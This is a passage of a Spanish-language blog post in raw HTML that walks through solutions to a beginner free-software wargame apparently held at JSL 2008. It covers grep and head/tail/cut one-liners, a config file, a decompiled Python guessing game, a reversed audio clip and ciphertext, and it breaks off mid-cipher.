src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYuxDmlIbQI/AAAAAAAAAzk/uHJ8wx7JsNw/s400/inkscape.png" alt="" id="BLOGGER_PHOTO_ID_5299524061985533186" border="0" /></a><br /><div style="text-align: justify;">y luego tratar de limpiar todo lo que no nos sirve, eliminar recuadros, poner la vista solo en contornos, organizar las letras, etc. Hasta que encontremos un recuadro donde esta la frase que contiene la clave.<br /></div><br />2.Hacer búsquedas aleatorias tratando de hallar la clave (así como se ve en la imagen)<br /><br /></div></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SYuwVTVbIlI/AAAAAAAAAzU/Zj_9AGXa-0k/s1600-h/sol14-rr.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 244px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SYuwVTVbIlI/AAAAAAAAAzU/Zj_9AGXa-0k/s400/sol14-rr.png" alt="" id="BLOGGER_PHOTO_ID_5299523266545394258" border="0" /></a><br />Podemos usar el comando <span style="font-style: italic;"><span class="blsp-spelling-error" id="SPELLING_ERROR_48">grep</span></span> para buscar la palabra <span style="font-weight: bold;">"clave"</span>, de esta forma se resuelve el ejercicio mas rápido.<br /><br /><div style="text-align: center;"> <span style="font-weight: bold;">NIVEL 3a - LISTA DE CORREOS<br /></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY-X-pcTVpI/AAAAAAAAA3c/7UaTEN5HF_M/s1600-h/sol15-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 222px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY-X-pcTVpI/AAAAAAAAA3c/7UaTEN5HF_M/s400/sol15-r.png" alt="" id="BLOGGER_PHOTO_ID_5300622388970608274" border="0" /></a><br /><div style="text-align: left;"><div style="text-align: justify;">La solución a este nivel es más fácil de lo que todos creían. Algunos lo resolvieron a fuerza bruta, tratando de adivinar cuantos mensajes había en la lista en ese mes, otros simplemente buscaron el historial de la lista y ubicaron el mes de Julio:<br /></div><br /><a href="http://listas.el-directorio.org/pipermail/colibri/2008-July/date.html">http://listas.el-directorio.org/pipermail/colibri/2008-July/date.html</a><br /><br />Ahí mismo aparece la respuesta.<br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 3b - DISPOSITIVOS DE ENTRADA</span><br /></div><span style="font-weight: bold;"><br /></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9CSdqxWCI/AAAAAAAAAz0/kA5o4zSxVsQ/s1600-h/sol21-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 211px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9CSdqxWCI/AAAAAAAAAz0/kA5o4zSxVsQ/s400/sol21-r.png" alt="" id="BLOGGER_PHOTO_ID_5300528171407464482" border="0" /></a><br /><div style="text-align: justify;">El nivel 3 de este <span class="blsp-spelling-error" id="SPELLING_ERROR_49">wargame</span> nos pide encontrar una clave y como pista nos hablan de los dispositivos de entrada, además nos mencionan las <a href="http://es.wikipedia.org/wiki/X_Window">X</a>. Como todos sabemos las X en los sistemas Unix representan la interfaz gráfica, por lo tanto pensamos que los dispositivos de entrada son el <span class="blsp-spelling-error" id="SPELLING_ERROR_50">mouse</span> y el teclado.<br /></div><br />Del <span class="blsp-spelling-error" id="SPELLING_ERROR_51">xorg</span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_52">conf</span>:<br /><blockquote><br /><span style="color: rgb(51, 102, 255);"><span class="blsp-spelling-error" id="SPELLING_ERROR_53">Section</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_54">InputDevice</span>"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_55">Identifier</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_56">Generic</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_57">Keyboard</span>"</span><br /><span style="color: rgb(51, 102, 255);"> Driver "<span class="blsp-spelling-error" id="SPELLING_ERROR_58">cla</span>"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_59">Option</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_60">CoreKeyboard</span>"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_61">Option</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_62">XkbRules</span>" "<span class="blsp-spelling-error" id="SPELLING_ERROR_63">xorg</span>"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_64">Option</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_65">XkbModel</span>" "<span class="blsp-spelling-error" id="SPELLING_ERROR_66">pc</span>104"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_67">Option</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_68">XkbLayout</span>" "<span class="blsp-spelling-error" id="SPELLING_ERROR_69">us</span>"</span><br /><span style="color: rgb(51, 102, 255);"><span class="blsp-spelling-error" id="SPELLING_ERROR_70">EndSection</span></span><br /><br /><span style="color: rgb(51, 102, 255);"><span class="blsp-spelling-error" id="SPELLING_ERROR_71">Section</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_72">InputDevice</span>"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_73">Identifier</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_74">Configured</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_75">Mouse</span>"</span><br /><span style="color: rgb(51, 102, 255);"> Driver "ve"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_76">Option</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_77">CorePointer</span>"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_78">Option</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_79">Device</span>" "/<span class="blsp-spelling-error" id="SPELLING_ERROR_80">dev</span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_81">input</span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_82">mice</span>"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_83">Option</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_84">Protocol</span>" "<span class="blsp-spelling-error" id="SPELLING_ERROR_85">ImPS</span>/2"</span><br /><span style="color: rgb(51, 102, 255);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_86">Option</span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_87">Emulate</span>3<span class="blsp-spelling-error" id="SPELLING_ERROR_88">Buttons</span>" "<span class="blsp-spelling-error" id="SPELLING_ERROR_89">true</span>"</span><br /><span style="color: rgb(51, 102, 255);"><span class="blsp-spelling-error" id="SPELLING_ERROR_90">EndSection</span></span><br /></blockquote>Si vamos a la sección adecuada en el archivo de configuración: <span style="font-style: italic;">/etc/X11/<span class="blsp-spelling-error" id="SPELLING_ERROR_91">xorg</span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_92">conf</span></span> podemos encontrar muy fácilmente las pistas necesarias para <span class="blsp-spelling-error" id="SPELLING_ERROR_93">hayar</span> la clave.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9DpOci7xI/AAAAAAAAAz8/IvGjWOx0kMg/s1600-h/soldevs.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 48px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9DpOci7xI/AAAAAAAAAz8/IvGjWOx0kMg/s400/soldevs.png" alt="" id="BLOGGER_PHOTO_ID_5300529661969886994" border="0" /></a><br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 4a - RETO <span class="blsp-spelling-error" id="SPELLING_ERROR_94">GEEK</span><br /></span><div style="text-align: left;"><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY9EHahXnPI/AAAAAAAAA0E/UWtLG1lh7UI/s1600-h/sol22-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 209px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY9EHahXnPI/AAAAAAAAA0E/UWtLG1lh7UI/s400/sol22-r.png" alt="" id="BLOGGER_PHOTO_ID_5300530180607417586" border="0" /></a><br /></div><div style="text-align: justify;">Esta pregunta requiere un poco de observación, por eso las gafas (lentes) en la imagen.<br />Nos están hablando de un reto <span class="blsp-spelling-error" id="SPELLING_ERROR_95">geek</span>, y nos aclaran que no es este reto de las <span class="blsp-spelling-error" id="SPELLING_ERROR_96">JSL</span>, entonces cual era?. La solución era buscar en google, o recordar un proyecto que iniciaron algunas personas de la comunidad hace algún tiempo, el <a href="http://www.cibertito.com/website/es/content.php">personaje de la caricatura </a>tiene unas gafas tipo <span class="blsp-spelling-error" id="SPELLING_ERROR_97">nerd</span> y el sitio <span class="blsp-spelling-error" id="SPELLING_ERROR_98">web</span> tiene un "reto <span class="blsp-spelling-error" id="SPELLING_ERROR_99">geek</span>". Para los que todavía no dan con el chiste, se trata de <a href="http://www.cibertito.com/">www.cibertito.com</a>, <span class="blsp-spelling-error" id="SPELLING_ERROR_100">visitenlo</span> y prueben el reto.<br /></div><br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 4b - COORDENADAS</span><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9JS7pvmsI/AAAAAAAAA0M/Umswtb0l644/s1600-h/sol233-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 211px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9JS7pvmsI/AAAAAAAAA0M/Umswtb0l644/s400/sol233-r.png" alt="" id="BLOGGER_PHOTO_ID_5300535876037614274" border="0" /></a><br /></div><div style="text-align: left;"><div style="text-align: justify;">Para resolver este nivel hace falta un poco de imaginación, pero la verdad es bastante simple.<br />Una vez ingreses al sistemas con las credenciales asignadas, veras una pista que dice:<br /></div><br /><span style="color: rgb(0, 0, 153);"></span><blockquote style="color: rgb(51, 102, 255);"><span style="color: rgb(0, 0, 153);">1. Coordenadas de la <span class="blsp-spelling-error" id="SPELLING_ERROR_101">proxima</span> clave: 707, 7</span></blockquote><div style="text-align: justify;">Desde <span class="blsp-spelling-error" id="SPELLING_ERROR_102">ahi</span> se puede deducir que o hace parte de unas coordenadas o son permisos al estilo Unix (<span class="blsp-spelling-error" id="SPELLING_ERROR_103">rwx</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_104">rwx</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_105">rwx</span>). Si observamos los permisos del archivo que aparece en el <span class="blsp-spelling-error" id="SPELLING_ERROR_106">home</span> (<span style="font-style: italic;">nivel4.<span class="blsp-spelling-error" id="SPELLING_ERROR_107">jsl</span></span>) nos damos cuenta que solo tenemos permisos para leer el archivo desde <span class="blsp-spelling-error" id="SPELLING_ERROR_108">root</span>.<br /><br /><span style="font-weight: bold;">Entonces que hacemos?</span><br /></div><br />Intentamos visualizar el archivo con <span style="font-style: italic;"><span class="blsp-spelling-error" id="SPELLING_ERROR_109">cat</span>, more, <span class="blsp-spelling-error" id="SPELLING_ERROR_110">less</span></span> y todos nos sacan un error de permisos (NO tenemos permisos para leerlo), pero que tal si probamos con los comandos <span style="font-style: italic;"><span class="blsp-spelling-error" id="SPELLING_ERROR_111">cut</span>, <span class="blsp-spelling-error" id="SPELLING_ERROR_112">tail</span> y <span class="blsp-spelling-error" id="SPELLING_ERROR_113">head</span></span>?<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY-JfE8GHaI/AAAAAAAAA2E/Fsv4JwGWJZQ/s1600-h/kratux.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 94px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY-JfE8GHaI/AAAAAAAAA2E/Fsv4JwGWJZQ/s400/kratux.png" alt="" id="BLOGGER_PHOTO_ID_5300606453433114018" border="0" /></a><br />con el comando <span class="blsp-spelling-error" id="SPELLING_ERROR_114">head</span> podemos visualizar algo y encontramos un archivo con el siguiente formato:<br /><br /><blockquote style="color: rgb(51, 102, 255);"><span style="font-size:85%;">...<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_115">Linuxant</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_116">Linuxbar</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_117">LinuxCol</span>:Linux En-Caja:<span class="blsp-spelling-error" id="SPELLING_ERROR_118">LIUDECX</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_119">Lix</span> S.G.:Lugula:Minka-Ecci<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_120">Merlinux</span>:Mono <span class="blsp-spelling-error" id="SPELLING_ERROR_121">Colombia</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_122">NEBLINUX</span>:OpenBSD <span class="blsp-spelling-error" id="SPELLING_ERROR_123">Colombia</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_124">PIX</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_125">UDEC</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_126">PLUG</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_127">POLUX</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_128">POLLUX</span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_129">PUJCLUE</span>:PULPA:<span class="blsp-spelling-error" id="SPELLING_ERROR_130">Python</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_131">Colombia</span>:Slackware <span class="blsp-spelling-error" id="SPELLING_ERROR_132">Colombia</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_133">SLEC</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_134">Slow</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_135">Sl</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_136">prog</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_137">SLUMB</span><br />TESIS:<span class="blsp-spelling-error" id="SPELLING_ERROR_138">UNALIX</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_139">Ubuntu</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_140">Colombian</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_141">Team</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_142">USB</span>-Linux:<span class="blsp-spelling-error" id="SPELLING_ERROR_143">Vultur</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_144">XUE</span>-LINUX:<span class="blsp-spelling-error" id="SPELLING_ERROR_145">Slibant</span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_146">join</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_147">us</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_148">now</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_149">and</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_150">share</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_151">the</span>:software:<span class="blsp-spelling-error" id="SPELLING_ERROR_152">you</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_153">free</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_154">share</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_155">Abacux</span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_156">ACLibre</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_157">Altred</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_158">ANIMAZIONE</span>:Arca-<span class="blsp-spelling-error" id="SPELLING_ERROR_159">csl</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_160">AsOfT</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_161">ExNeT</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_162">BogJBug</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_163">CAFEBUG</span>:<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_164">CaliLUG</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_165">Calix</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_166">Camayihi</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_167">CETISOFT</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_168">CINS</span> (SENA):<span class="blsp-spelling-error" id="SPELLING_ERROR_169">ChampeTUX</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_170">Cununo</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_171">CUSOL</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_172">UIS</span><br /></span><div style="text-align: justify;"><span style="font-size:85%;">...</span><br /></div></blockquote><div style="text-align: justify;">El archivo contiene un <a href="http://el-directorio.org/Grupos_de_Usuarios">listado de los grupos de S.L. del país</a> que se repite una y otra vez. Si bien esto no nos sirve de nada, podemos recordar que el movimiento de S.L. sigue vigente en <span class="blsp-spelling-error" id="SPELLING_ERROR_173">Colombia</span> (esta lista fue sacada del sitio: <a href="http://el-directorio.org/">el-directorio.<span class="blsp-spelling-error" id="SPELLING_ERROR_174">org</span></a>).<br /></div><br />Que tal si ese <span style="font-style: italic;">707, 7</span> son unas coordenadas para el archivo?, las lineas del archivo <span class="blsp-spelling-error" id="SPELLING_ERROR_175">estan</span> separadas por el <span class="blsp-spelling-error" id="SPELLING_ERROR_176">caracter</span> ":", entonces contemos 707 lineas y 7 campos separados con ":".<br /><blockquote><br /><span style="color: rgb(51, 102, 255);">nando$ ls<br /></span> <span style="color: rgb(51, 102, 255); font-style: italic;">m.sql nivel4.jsl nivel4.jsl.save pista.txt</span> <span style="color: rgb(51, 102, 255);"><br />nando$ file nivel4.jsl<br /></span><span style="color: rgb(51, 102, 255);"></span><span style="color: rgb(51, 102, 255); font-style: italic;">nivel4.jsl: ASCII text</span><br /><span style="color: rgb(51, 102, 255);">nando$ head -707 nivel4.jsl | tail -1 | cut -f7 -d:</span> <span style="color: rgb(51, 102, 255);"><br /><span style="font-style: italic;">kratux</span></span><br /><span style="color: rgb(51, 102, 255);">nando$ </span><br /></blockquote><br />He ahí la respuesta :p<br /><br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 5a - </span><span style="font-weight: bold;">PINGUINOS</span><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9KFHJCa2I/AAAAAAAAA0U/OsY63CKboKQ/s1600-h/sol24-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 212px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9KFHJCa2I/AAAAAAAAA0U/OsY63CKboKQ/s400/sol24-r.png" alt="" id="BLOGGER_PHOTO_ID_5300536738115119970" border="0" /></a><br /><div style="text-align: justify;">Esta pregunta es una de las más fáciles, nos muestran una imagen de un pinguino, que hace parte del logo del grupo <a href="http://www.linux.com.co/cusol/index.php?title=CUSOL_UIS:Acerca_de">CUSOL</a>, si analizamos la pregunta, podemos pensar que estan hablando de ese pinguino. Y buscando un poco acerca de pinguinos (diferentes a TUX), encontramos que ese es un <a href="http://es.wikipedia.org/wiki/Pinguino_emperador">pinguino emperador</a>.<br /></div><br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 5b - </span><span style="font-weight: bold;">ADIVINANDO?<br /></span></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9LPCDyrVI/AAAAAAAAA0c/CGQ6MkzlSoY/s1600-h/sol25-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 212px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9LPCDyrVI/AAAAAAAAA0c/CGQ6MkzlSoY/s400/sol25-r.png" alt="" id="BLOGGER_PHOTO_ID_5300538008061259090" border="0" /></a><br /><div style="text-align: justify;">Para resolver este nivel le prestamos atención a la pregunta que se hace en la pista:<br /></div><blockquote><span style="color: rgb(51, 51, 255);">1. Adivinando?</span></blockquote><div style="text-align: justify;">Como siempre verificamos el archivo que esta en el home y nos damos cuenta que es un script en <a href="http://www.blogger.com/es.wikipedia.org/wiki/Python">python</a> pero compilado, asi que no tenemos el código fuente directamente. Intentamos ejecutarlo y observar el funcionamiento, al parecer debemos adivinar una secuencia de numeros para poder pasar el reto.<br /><br /><div style="text-align: justify;">Si intentamos un poco de reversing básico, usando el comando "<span style="font-style: italic;">strings</span>", no vemos nada raro, entonces que hacemos?<br /></div></div><div style="text-align: justify;"><br />Este nivel se puede solucionar de varias formas, <span style="font-style: italic;">dos</span> de ellas son:<br /></div><br />1. Intentar adivinar la secuencia (ensayo y error), esta técnica funciona cuando los algoritmos son simples o cuando se tuvo un error en la programación, que lo hace vulnerable en la generación de la secuencia. (<span style="font-weight: bold;">este fue el caso del ejercicio</span>)<br /><div style="text-align: justify;"><br />2. Usar un decompilador de python, lo que requiere un poco mas de conocimiento o si tenemos la suerte que el archivo pese menos de 5KB, podemos ayudarnos del servicio<a href="http://www.depython.net/"> devpython</a> y obtener algo así:<br /></div><br /><blockquote style="color: rgb(51, 102, 255);">decompile /tmp/upload/20090208185201_757.pyo...<br />#! /usr/bin/env python<br /># emacs-mode: -*- python-*-<br /># -*- coding: utf-8 -*-<br /><br />import random<br />o = 'r'<br />jka = 'e'<br />pl = 'goc'<br />koolpl = 'CINS'<br />poa = 'clavemaster'<br />pla = 'UT4'<br />baaa = 'UrbanTerror'<br />qq = '0rp'<br />try:<br />a = int(raw_input('Ingrese un numero: '))<br />for valor in [1,<br /> 2,<br /> 3,<br /> 4,<br /> 5,<br /> 6,<br /> 7,<br /> 8,<br /> 9]:<br /> print ((((a * 7) - (a - 3)) + pow(a, 2)) + valor)<br /> a = (a + 2)<br /><br />respuesta = ((((a * 7) - (a - 3)) + pow(a, 2)) + 10)<br />entrada = int(raw_input('Cual es el siguiente: '))<br />if (entrada == respuesta):<br /> clave = (((o + jka) + pl) + qq)<br /> print ('Affirmative!, la clave es: %s' % clave)<br />else:<br /> print 'Negative!'<br />except:<br />mensaje = random.randint(1, 6)<br />if (mensaje == 1):<br /> print "Double time, let's move!"<br />elif (mensaje == 2):<br /> print 'Go for the objective.'<br />elif (mensaje == 3):<br /> print 'Stick with me.'<br />elif (mensaje == 4):<br /> print 'Hold your position.'<br />elif (mensaje == 5):<br /> print 'I need a medic!'<br />elif (mensaje == 6):<br /> print 'Where are the medics'<br /><br /># local variables:<br /># tab-width: 4<br />depythoned 1 files: 1 okay, 0 failed</blockquote>Siguiendo el código fuente es mas fácil saber que es lo que hace y cual es la respuesta ;)<br /><br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 6a - INVITADO ESPECIAL<br /></span><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY9SRfpUwZI/AAAAAAAAA0k/4HHo86DcGSg/s1600-h/sol31-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 218px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY9SRfpUwZI/AAAAAAAAA0k/4HHo86DcGSg/s400/sol31-r.png" alt="" id="BLOGGER_PHOTO_ID_5300545746944442770" border="0" /></a><br /></div><div style="text-align: left;"><div style="text-align: justify;">Leyendo<a href="http://tux.uis.edu.co/jsl/charlas/"> la programación de las JSL 2008</a>, nos damos cuenta que habia un invitado especial, la respuesta era casi obvia ;)<br /></div><br /></div></div><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 6b - </span><span style="font-weight: bold;">INGENIERIA INVERSA?</span><br /><div style="text-align: left;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY9SwzJp49I/AAAAAAAAA0s/RptqgrUrNO4/s1600-h/sol32-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 213px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY9SwzJp49I/AAAAAAAAA0s/RptqgrUrNO4/s400/sol32-r.png" alt="" id="BLOGGER_PHOTO_ID_5300546284756263890" border="0" /></a><br />La pista de este nivel es otra pregunta:<br /><span style="color: rgb(51, 102, 255);"></span><blockquote><span style="color: rgb(51, 102, 255);">1. Ingenieria Inversa?</span></blockquote><div style="text-align: justify;">Es posible que muchos hayan afrontado el problema tratando de reversar el archivo <span style="font-style: italic;">nivel6.jsl,</span> sin embargo haciendo un analisis mínimo sobre el tipo de archivo (comando <span style="font-style: italic;">file)</span>, nos dabamos cuenta que era un archivo de audio codificado en <a href="http://es.wikipedia.org/wiki/OGG">OGG</a>, por lo tanto lo de "<span style="font-weight: bold;">inversa</span>" era una pista.<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY9Ts1ws-2I/AAAAAAAAA00/FLiD3dxteS0/s1600-h/nivel6-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 26px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY9Ts1ws-2I/AAAAAAAAA00/FLiD3dxteS0/s400/nivel6-r.png" alt="" id="BLOGGER_PHOTO_ID_5300547316249066338" border="0" /></a>Entonces nuestro pensar seria usar una herramienta libre que nos permitiera reproducir ogg y en caso de que lo necesitaramos podriamos editar el audio. Que tal <a href="http://es.wikipedia.org/wiki/Audacity">audacity</a>?<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9U4R1xbdI/AAAAAAAAA08/47vwNpGzPQE/s1600-h/Imagen+1.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 100px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9U4R1xbdI/AAAAAAAAA08/47vwNpGzPQE/s400/Imagen+1.png" alt="" id="BLOGGER_PHOTO_ID_5300548612276710866" border="0" /></a>Analizando un poco el audio notamos que la velocidad del audio esta acelerada y que ademas el audio esta invertido, es muy fácil usar un par de funciones del audacity para arreglarlo y luego podremos escuchar <a href="http://es.wikipedia.org/wiki/Free_Software_Song">la canción del software libre</a> interpretada por <a href="http://es.wikipedia.org/wiki/Richard_Stallman">Richard Stallman </a>con una pequeña modificación. Esa modificación es la clave que se esta buscando para el nivel.<br /></div><br /><div style="text-align: justify;">Pd: Hay que tener buen oido para entenderla ;)<br /></div><br /></div><span style="font-weight: bold;">NIVEL 7a - </span><span style="font-weight: bold;">El nick</span><br /><div style="text-align: left;"><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9WcO1K2eI/AAAAAAAAA1E/sz4PFsuPuPE/s1600-h/sol33-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 177px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9WcO1K2eI/AAAAAAAAA1E/sz4PFsuPuPE/s400/sol33-r.png" alt="" id="BLOGGER_PHOTO_ID_5300550329455794658" border="0" /></a>Se necesitan mas pistas para adivinar este reto?, en la entrada del wargame cada vez que se logueaban aparecia un mensaje diciendo que <a href="http://nonroot.blogspot.com/"><span style="font-style: italic;">nonroot</span></a> y <span style="font-style: italic;">duma</span> habian creado el reto, osea que este nivel se superaba en menos de 3 intentos ;)<br /></div><br /><br /></div></div><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 7b - </span><span style="font-weight: bold;">Quien es quien es?</span><br /><div style="text-align: left;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY9fGIgffkI/AAAAAAAAA1s/aLawt0TGSuU/s1600-h/cifrado-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 189px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY9fGIgffkI/AAAAAAAAA1s/aLawt0TGSuU/s400/cifrado-r.png" alt="" id="BLOGGER_PHOTO_ID_5300559845405982274" border="0" /></a><br /><div style="text-align: justify;">En el archivo relacionado con este nivel, encontrabamos el siguiente texto:<br /></div><blockquote style="color: rgb(51, 102, 255);"><br />Pqebgée pq qefgpumd xm radym qz cgq mofgó Xuzge k tmnqd radygxmpa gzm fqadím pqx bad cgé fgha éjufa, fayé xm pqoueuóz oazeouqzfq pq bdanmdxm qz yu zgqha bdakqofa (qx ogmx, pqna mpyufudxa, qe ygota yqzae oaybxqva k mynuouaea).<br /><br /><br /><br /><div style="text-align: justify;">Xa bduyqda cgq 